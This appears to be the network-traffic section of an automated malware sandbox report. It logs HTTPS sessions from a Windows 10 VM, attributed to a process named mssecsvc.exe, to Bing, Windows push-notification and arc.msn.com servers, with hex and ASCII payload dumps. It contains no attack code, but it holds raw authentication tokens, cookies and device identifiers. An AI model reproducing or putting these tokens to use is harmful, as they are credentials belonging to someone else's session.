2022-07-21 02:34:22 UTC	165	OUT	GET /client/config?cc=US&setlang=en-US HTTP/1.1 X-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguage X-Search-SafeSearch: Moderate Accept-Encoding: gzip, deflate X-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8} X-UserAgeClass: Unknown X-BM-Market: US X-BM-DateFormat: M/d/yyyy X-CortanaAccessAboveLock: false X-Device-OSSKU: 48 X-BM-DTZ: -420 X-BM-FirstEnabledTime: 132061387448759736 X-DeviceID: 0100748C09001CEA X-Search-TimeZone: Bias=480; DaylightBias=-60; TimeZoneKeyName=Pacific Standard Time X-BM-Theme: 000000;0078d7 X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAd9178bnU4RKBi7AgTvtgZySoxeFBmjdfbecF3eX%2BW7mCzfWutu28MM%2Bl7SbjT7iqNiDxiWnzybuOA9LTqh/466Q3/gBn0KzBmeJKxh0rdayvStJzh/nFtemQyFZd3D4l2shbbUWZQhntsNiOQGvXdbYJGsFNb%2BjFZUM4Rew7C%2B4wms4gW5ZM4t35VYw6E/ich2RiMAKJ8aSxpg9sA4s8/r0Dgym6I7aLIo77oDvTPgO5fJBl4jf8UTVq853JiUPXMsaH69/TnhlYxmmVII%2B1y9GAg3MeJCEw0LGgjCZSrDAo2iTtsM0VcuOoibwFlVagb2fQMcuGVSHOFCg%2BMCJuLQDZgAACLzHcj/KhM8gqAFSwchQS/bSwPtRZMAe0N38BtrFsC88R04CGTGYeG/fTcJlz87F8b9i0/IGnLQcaowB9ou1Y7x8slgQycsKYfHn%2BHE14LpCYHc/yx0S1h9gAlnTELekTGzIv4hZaqtEXZ9oqbwhpktmHmWTH3xwgo89wmtQpRLhbo7zEq2emHgtT%2BOK4RhCSdfmbUo40Oza6hqv%2B08R16vRcECjtAZwNM%2B8Ki6qXBRMZJsHYYPlMGDGoFvcSzb6FCC9UWxwzwKqmjno0o3FFXRygNEGM8wLUAVL%2B/rJVNuZ%2BbPOL0g/xbYORdn9uMv2k/9g03VGX53pHnVRl2Lw2PXmLiKpC6tRYIAkXfLnsch8wnv%2Bf8ZsBG66pV7CeBbvP4QJxtqjI9fBn4GqT38ifGS0Lg%2BKvORF2WG3m387G09slzJgacQBPugcMhJb10950fd2k0GzTA%2BzV%2B3zBNWdEHea1T42Bwd4AwGNC3YWVCGcCJH3WZWrvPMLXHq3xBB36zQAWO%2B03Yp9cNJEiUxXf3y1HBo0It7VnYBYLbbN6y%2BYALdEkKCPsGFOWGPNpbqDScTJ1gE%3D%26p%3D X-Agent-DeviceId: 0100748C09001CEA X-BM-CBT: 1658403206 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 X-Device-isOptin: true Accept-language: en-US, en X-Device-Touch: false X-Device-ClientSession: 7CE49D80A29C4452B1199C8FD5846D18 X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeader Host: www.bing.com Connection: Keep-Alive Cookie: MUID=54AD14FB4D1E4A6C815A867991009454
2022-07-21 02:34:22 UTC	170	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 2041 Content-Type: application/json; charset=utf-8 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND" Set-Cookie: SUID=M; domain=.bing.com; expires=Fri, 22-Jul-2022 02:34:22 GMT; path=/; HttpOnly Set-Cookie: MUIDB=54AD14FB4D1E4A6C815A867991009454; expires=Tue, 15-Aug-2023 02:34:22 GMT; path=/; HttpOnly Set-Cookie: _EDGE_S=SID=290E7F83B6866BED17956E6BB70D6AC1&mkt=en-us&ui=en-us; domain=.bing.com; path=/; HttpOnly Set-Cookie: SRCHD=AF=NOFORM; domain=.bing.com; expires=Sun, 21-Jul-2024 02:34:22 GMT; path=/ Set-Cookie: SRCHUID=V=2&GUID=348318EF63BD4B06A0ED84BE4CBAB2F8&dmnchg=1; domain=.bing.com; expires=Sun, 21-Jul-2024 02:34:22 GMT; path=/ Set-Cookie: SRCHUSR=DOB=20220721; domain=.bing.com; expires=Sun, 21-Jul-2024 02:34:22 GMT; path=/ Set-Cookie: SRCHHPGUSR=SRCHLANG=en; domain=.bing.com; expires=Sun, 21-Jul-2024 02:34:22 GMT; path=/ Set-Cookie: ANON=A=84D464251C6428FCBF66122FFFFFFFFF; domain=.bing.com; expires=Sun, 21-Jul-2024 02:34:22 GMT; path=/ Set-Cookie: WLS=C=0000000000000000&N=; domain=.bing.com; path=/ Set-Cookie: _SS=SID=290E7F83B6866BED17956E6BB70D6AC1; domain=.bing.com; path=/ X-XSS-Protection: 0 X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 62960B7AC30A46C6A5ABEB0654F682B4 Ref B: FRA31EDGE0614 Ref C: 2022-07-21T02:34:22Z Date: Thu, 21 Jul 2022 02:34:21 GMT Connection: close
2022-07-21 02:34:22 UTC	171	IN	Data Raw: 7b 22 76 65 72 73 69 6f 6e 22 3a 31 2c 22 63 6f 6e 66 69 67 22 3a 7b 22 46 65 61 74 75 72 65 43 6f 6e 66 69 67 22 3a 7b 22 53 65 61 72 63 68 42 6f 78 49 62 65 61 6d 50 6f 69 6e 74 65 72 4f 6e 48 6f 76 65 72 22 3a 7b 22 76 61 6c 75 65 22 3a 74 72 75 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 68 6f 77 53 65 61 72 63 68 47 6c 79 70 68 4c 65 66 74 4f 66 53 65 61 72 63 68 42 6f 78 22 3a 7b 22 76 61 6c 75 65 22 3a 74 72 75 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 65 61 72 63 68 42 6f 78 55 73 65 53 65 61 72 63 68 49 63 6f 6e 41 74 52 65 73 74 22 3a 7b 22 76 61 6c 75 65 22 3a 66 61 6c 73 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 65 61 72 63 68 42 75 74 74 6f 6e 55 73 65 53 65 61 72 63 68 49 63 6f 6e 22 3a 7b 22 76 61 6c 75 65 Data Ascii: {"version":1,"config":{"FeatureConfig":{"SearchBoxIbeamPointerOnHover":{"value":true,"feature":""},"ShowSearchGlyphLeftOfSearchBox":{"value":true,"feature":""},"SearchBoxUseSearchIconAtRest":{"value":false,"feature":""},"SearchButtonUseSearchIcon":{"value

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.6	50208	204.79.197.200	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:34:22 UTC	168	OUT	GET /proactive/v2/spark?cc=US&setLang=en-US HTTP/1.1 X-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguage X-Search-SafeSearch: Moderate Accept-Encoding: gzip, deflate X-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8} X-Device-IsBatteryCertified: false X-UserAgeClass: Unknown X-BM-Market: US X-BM-DateFormat: M/d/yyyy X-CortanaAccessAboveLock: false X-Device-OSSKU: 48 X-Device-IsBatteryEnabled: false X-Device-NetworkType: ethernet X-BM-DTZ: -420 X-BM-FirstEnabledTime: 132061387448759736 X-DeviceID: 0100748C09001CEA X-VoiceActivationOn: false X-Device-AudioCapture: Microphone (High Definition Audio Device) X-Search-TimeZone: Bias=480; DaylightBias=-60; TimeZoneKeyName=Pacific Standard Time X-BM-Theme: 000000;0078d7 X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAd9178bnU4RKBi7AgTvtgZySoxeFBmjdfbecF3eX%2BW7mCzfWutu28MM%2Bl7SbjT7iqNiDxiWnzybuOA9LTqh/466Q3/gBn0KzBmeJKxh0rdayvStJzh/nFtemQyFZd3D4l2shbbUWZQhntsNiOQGvXdbYJGsFNb%2BjFZUM4Rew7C%2B4wms4gW5ZM4t35VYw6E/ich2RiMAKJ8aSxpg9sA4s8/r0Dgym6I7aLIo77oDvTPgO5fJBl4jf8UTVq853JiUPXMsaH69/TnhlYxmmVII%2B1y9GAg3MeJCEw0LGgjCZSrDAo2iTtsM0VcuOoibwFlVagb2fQMcuGVSHOFCg%2BMCJuLQDZgAACLzHcj/KhM8gqAFSwchQS/bSwPtRZMAe0N38BtrFsC88R04CGTGYeG/fTcJlz87F8b9i0/IGnLQcaowB9ou1Y7x8slgQycsKYfHn%2BHE14LpCYHc/yx0S1h9gAlnTELekTGzIv4hZaqtEXZ9oqbwhpktmHmWTH3xwgo89wmtQpRLhbo7zEq2emHgtT%2BOK4RhCSdfmbUo40Oza6hqv%2B08R16vRcECjtAZwNM%2B8Ki6qXBRMZJsHYYPlMGDGoFvcSzb6FCC9UWxwzwKqmjno0o3FFXRygNEGM8wLUAVL%2B/rJVNuZ%2BbPOL0g/xbYORdn9uMv2k/9g03VGX53pHnVRl2Lw2PXmLiKpC6tRYIAkXfLnsch8wnv%2Bf8ZsBG66pV7CeBbvP4QJxtqjI9fBn4GqT38ifGS0Lg%2BKvORF2WG3m387G09slzJgacQBPugcMhJb10950fd2k0GzTA%2BzV%2B3zBNWdEHea1T42Bwd4AwGNC3YWVCGcCJH3WZWrvPMLXHq3xBB36zQAWO%2B03Yp9cNJEiUxXf3y1HBo0It7VnYBYLbbN6y%2BYALdEkKCPsGFOWGPNpbqDScTJ1gE%3D%26p%3D X-Agent-DeviceId: 0100748C09001CEA X-BM-CBT: 1658403206 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 X-Device-isOptin: true Accept-language: en-US, en X-Device-IsEnergyHero: false X-Device-Touch: false X-Device-ClientSession: 7CE49D80A29C4452B1199C8FD5846D18 X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeader Host: www.bing.com Connection: Keep-Alive Cookie: MUID=54AD14FB4D1E4A6C815A867991009454
2022-07-21 02:34:22 UTC	173	IN	HTTP/1.1 200 OK Cache-Control: no-store, must-revalidate, no-cache Pragma: no-cache Content-Length: 311 Content-Type: application/json; charset=utf-8 Expires: -1 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND" Set-Cookie: SUID=M; domain=.bing.com; expires=Fri, 22-Jul-2022 02:34:22 GMT; path=/; HttpOnly Set-Cookie: MUIDB=54AD14FB4D1E4A6C815A867991009454; expires=Tue, 15-Aug-2023 02:34:22 GMT; path=/; HttpOnly Set-Cookie: _EDGE_S=SID=35C68F7A6B9F65B107779E926A33641F&mkt=en-us&ui=en-us; domain=.bing.com; path=/; HttpOnly Set-Cookie: SRCHD=AF=NOFORM; domain=.bing.com; expires=Sun, 21-Jul-2024 02:34:22 GMT; path=/ Set-Cookie: SRCHUID=V=2&GUID=8DB80EE720064E2FBA758D1B062CB14A&dmnchg=1; domain=.bing.com; expires=Sun, 21-Jul-2024 02:34:22 GMT; path=/ Set-Cookie: SRCHUSR=DOB=20220721; domain=.bing.com; expires=Sun, 21-Jul-2024 02:34:22 GMT; path=/ Set-Cookie: SRCHHPGUSR=SRCHLANG=en; domain=.bing.com; expires=Sun, 21-Jul-2024 02:34:22 GMT; path=/ Set-Cookie: ANON=A=84D464251C6428FCBF66122FFFFFFFFF; domain=.bing.com; expires=Sun, 21-Jul-2024 02:34:22 GMT; path=/ Set-Cookie: WLS=C=0000000000000000&N=; domain=.bing.com; path=/ Set-Cookie: _SS=SID=35C68F7A6B9F65B107779E926A33641F; domain=.bing.com; path=/ Set-Cookie: BM-Identity-Error=3002; domain=.bing.com; expires=Thu, 21-Jul-2022 02:39:22 GMT; path=/ X-XSS-Protection: 0 X-Search-ErrorInfo: Error:3002,Message:'FB ID missing' X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 2184C778AE6B47A1BE6F5B227EDBEC58 Ref B: FRA31EDGE0108 Ref C: 2022-07-21T02:34:22Z Date: Thu, 21 Jul 2022 02:34:22 GMT Connection: close
2022-07-21 02:34:22 UTC	175	IN	Data Raw: 7b 22 42 61 73 65 50 61 67 65 22 3a 7b 22 52 65 73 6f 75 72 63 65 73 22 3a 7b 22 53 74 79 6c 65 73 22 3a 7b 22 43 73 73 48 65 61 64 4e 6f 72 6d 61 6c 22 3a 7b 7d 2c 22 43 73 73 48 65 61 64 4f 76 65 72 72 69 64 65 22 3a 7b 7d 7d 2c 22 53 63 72 69 70 74 73 22 3a 7b 22 4a 73 48 65 61 64 54 6f 70 6d 6f 73 74 22 3a 7b 7d 2c 22 4a 73 48 65 61 64 4e 6f 72 6d 61 6c 22 3a 7b 7d 2c 22 4a 73 45 6e 64 4f 66 43 68 75 6e 6b 22 3a 7b 7d 2c 22 4a 73 42 65 66 6f 72 65 43 6f 6e 74 65 6e 74 22 3a 7b 7d 2c 22 4a 73 41 66 74 65 72 43 6f 6e 74 65 6e 74 22 3a 7b 7d 2c 22 4a 73 41 66 74 65 72 4f 6e 4c 6f 61 64 22 3a 7b 7d 7d 7d 7d 2c 22 41 6e 73 77 65 72 73 22 3a 5b 5d 2c 22 43 6f 6e 66 69 67 22 3a 7b 22 50 72 65 66 65 74 63 68 49 6e 74 65 72 76 61 6c 22 3a 37 32 30 2c 22 42 61 Data Ascii: {"BasePage":{"Resources":{"Styles":{"CssHeadNormal":{},"CssHeadOverride":{}},"Scripts":{"JsHeadTopmost":{},"JsHeadNormal":{},"JsEndOfChunk":{},"JsBeforeContent":{},"JsAfterContent":{},"JsAfterOnLoad":{}}}},"Answers":[],"Config":{"PrefetchInterval":720,"Ba

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.6	50269	20.199.120.151	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:34:26 UTC	175	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 33 30 39 65 36 30 35 37 31 30 35 30 62 62 64 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 2309e60571050bbd
2022-07-21 02:34:26 UTC	175	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-21 02:34:26 UTC	176	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 33 30 39 65 36 30 35 37 31 30 35 30 62 62 64 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 56 57 62 58 4a 45 4f 36 54 72 54 58 7a 4a 59 75 53 61 49 68 72 2f 46 74 4f 55 2b 32 72 45 4b 44 63 39 58 42 6a 47 78 50 66 4e 66 69 2b 4f 31 69 55 4a 79 61 5a 52 4d 31 56 4b 75 6f 32 51 66 44 7a 46 4f 67 6b 76 76 45 78 78 58 47 72 66 36 70 31 46 65 72 63 73 37 79 6f 47 57 37 53 4d 43 6e 49 66 42 61 4c 37 59 2b 73 33 2f 46 49 4e 4f 56 6f 47 37 6c 75 59 62 79 35 2b 44 4c 6f 4f 2b 42 6c 50 55 48 36 48 61 54 Data Ascii: ATH 2 CON\DEVICE 1014Context: 2309e60571050bbd<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAVWbXJEO6TrTXzJYuSaIhr/FtOU+2rEKDc9XBjGxPfNfi+O1iUJyaZRM1VKuo2QfDzFOgkvvExxXGrf6p1Fercs7yoGW7SMCnIfBaL7Y+s3/FINOVoG7luYby5+DLoO+BlPUH6HaT
2022-07-21 02:34:26 UTC	177	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 33 30 39 65 36 30 35 37 31 30 35 30 62 62 64 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: 2309e60571050bbd<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-21 02:34:26 UTC	177	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-21 02:34:26 UTC	177	IN	Data Raw: 4d 53 2d 43 56 3a 20 2b 39 2b 4e 6d 7a 44 33 68 6b 79 36 74 36 52 68 68 48 6d 77 4c 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: +9+NmzD3hky6t6RhhHmwLA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.6	50291	20.199.120.182	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:34:28 UTC	177	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 32 39 32 36 30 34 61 63 62 31 66 64 61 30 32 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: c292604acb1fda02
2022-07-21 02:34:28 UTC	177	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-21 02:34:28 UTC	177	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 32 39 32 36 30 34 61 63 62 31 66 64 61 30 32 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 56 57 62 58 4a 45 4f 36 54 72 54 58 7a 4a 59 75 53 61 49 68 72 2f 46 74 4f 55 2b 32 72 45 4b 44 63 39 58 42 6a 47 78 50 66 4e 66 69 2b 4f 31 69 55 4a 79 61 5a 52 4d 31 56 4b 75 6f 32 51 66 44 7a 46 4f 67 6b 76 76 45 78 78 58 47 72 66 36 70 31 46 65 72 63 73 37 79 6f 47 57 37 53 4d 43 6e 49 66 42 61 4c 37 59 2b 73 33 2f 46 49 4e 4f 56 6f 47 37 6c 75 59 62 79 35 2b 44 4c 6f 4f 2b 42 6c 50 55 48 36 48 61 54 Data Ascii: ATH 2 CON\DEVICE 1014Context: c292604acb1fda02<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAVWbXJEO6TrTXzJYuSaIhr/FtOU+2rEKDc9XBjGxPfNfi+O1iUJyaZRM1VKuo2QfDzFOgkvvExxXGrf6p1Fercs7yoGW7SMCnIfBaL7Y+s3/FINOVoG7luYby5+DLoO+BlPUH6HaT
2022-07-21 02:34:28 UTC	178	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 32 39 32 36 30 34 61 63 62 31 66 64 61 30 32 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: c292604acb1fda02
2022-07-21 02:34:28 UTC	178	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-21 02:34:28 UTC	178	IN	Data Raw: 4d 53 2d 43 56 3a 20 46 35 72 59 73 66 50 33 77 6b 65 7a 43 44 50 7a 30 70 56 65 33 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: F5rYsfP3wkezCDPz0pVe3A.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.6	50326	20.40.136.238	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:34:30 UTC	178	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&ctry=US&time=20220721T113428Z&lc=en-US&pl=en-US&idtp=mid&uid=b029da70-c67b-4a7e-9bd5-517f7e302ed9&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=60520c8d9c22491db2798e676fbfd508&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1612301&metered=false&nettype=ethernet&npid=sc-338387&oemName=vtesnt%2C%20Inc.&oemid=vtesnt%2C%20Inc.&ossku=Professional&rver=2&sc-mode=0&smBiosDm=vtesnt7%2C1&tl=2&tsu=1612301&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1 Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32250&sc=6 X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAQZx/CfZMzWMR48Mi4HTLmtbZz4wzec82cvGKwQRlkq6KnvWaurjtanfeahrbSNX1KRAJTsO+QyRhIUPPETp7SjRygtQe0a8g/RnLIGQEE0ZcjGHk7SXo8Y3/MfqU0VYPt3WtmKinkbPp/gcnm34luTSTiD5EXt7mnMRZUClVwF0XGH3+7yftaX36EC67xAomKatOF1jwqCcQxMXPGn4ZU4CAGNyK55hyFcIFAqykcvh6CuyahHw+lVB1DM4IZl8PWn5u7weHtww4vyAy8jLJX5MkkcmuTW2L3oPtLisZHz+Gn4qS46unZzmoufvbEriLHmpSZnwIGTo/Hp01M+PP1ADZgAACNwkOdPOI45wqAHsK0JsbW+vfhVyRG5/sM3b9wljRt5oYm91uPT4HT7c/J7Wp9nnF6y5DKAq6GkHPLe4rjmcjJ2SPDpwtbm087CnFMr7R3sdySoRrTfO0lMYm3b6CDci0uTd1u1gKZNe6bAaniOcZOKFTdx6Pq1o+QcQPIJT6sr5/h0py0FcbshKsF8/qKzaM0+50OxQU2MLGqcwozQJyeNNriVWBJUVNW+mW4rX4v9hZEN8J28h0xVGrjoi8ipFi2ZcB7kvEPIhobY//rl1SoD78zH0wndYBtSxpySloZ5lRv2ZDRk5uA4D7Pf/FtYkAn4tdYTo/+4CaV04iRJ8dP5j4Gs6dEcueSlswE160aT+3vu3wF25PTm07NsSldRTq12kyyg5MUn/EqbWXe6sg7cLKfnAY60p0BzTIWBWQfvxQ71L4+bbtQyA90p8079byx5P2g6OqJioP5ZTE5B/n7fSicxQErQgMRhujT1ROMj8LQgeMrXkSsXHwymtldF8iZBj/YEfvtxAW/lYIKsENnU0SAt+/nHSE3olJxmi2H/rRzaPO3ti1We5HAYSCjv0m+q/1gE=&p= Cache-Control: no-cache MS-CV: aHso6AePA0agNiRf.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: tch0,m301,m751,mA01,mT01 Host: arc.msn.com Connection: Keep-Alive
2022-07-21 02:34:30 UTC	180	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 24558 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"3,P425056668-T700379701-C128000000002409069+B+P90+S1,P425615666-T700383923-C128000000003288669+B+P60+S2,P425119424-T700340276-C128000000003306589+B+P20+S3"},{"BATCH_REDIRECT_STORE":"BWW_128000000002409069_EN-US+P0+S0"},{"BATCH_REDIRECT_STORE":"BWW_128000000003288669_EN-US+P0+S0"},{"BATCH_REDIRECT_STORE":"BWW_128000000003306589_EN-US+P0+S0"},{"OPTOUTSTATE":"256"}] X-ARC-SIG: IUFYRWrkrDertIBicgvpSudrtQCW5vP7o+Qx/Hj/N1Mjc+snXw+Fn2RuzyXpO6ULJwk6BexzNX1pL/vWqOVc6T14TnMILIf0/De2cw5SiyL14T41+CNbZfbQPpol035aBIvI3yvxvTW9YCp4v2oA9hiIfj1As38R0x+Jove96gDunjKO3cIxLn+rM1tgpK7ME36GhE18jp1A6vqUU+ZLKaN56YY3F6Znxi54HwyvJhyEp3nt8ZPIG19WDi3p/xTHDSTxw5S9KdLRBd1Z35MRYM/XkrtARSJ084wRuiVXcbER/xVSQQ8GM+BxKQmGXWhHZR175Uj6N+NkC7PtIyjq/w== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Thu, 21 Jul 2022 02:34:30 GMT Connection: close
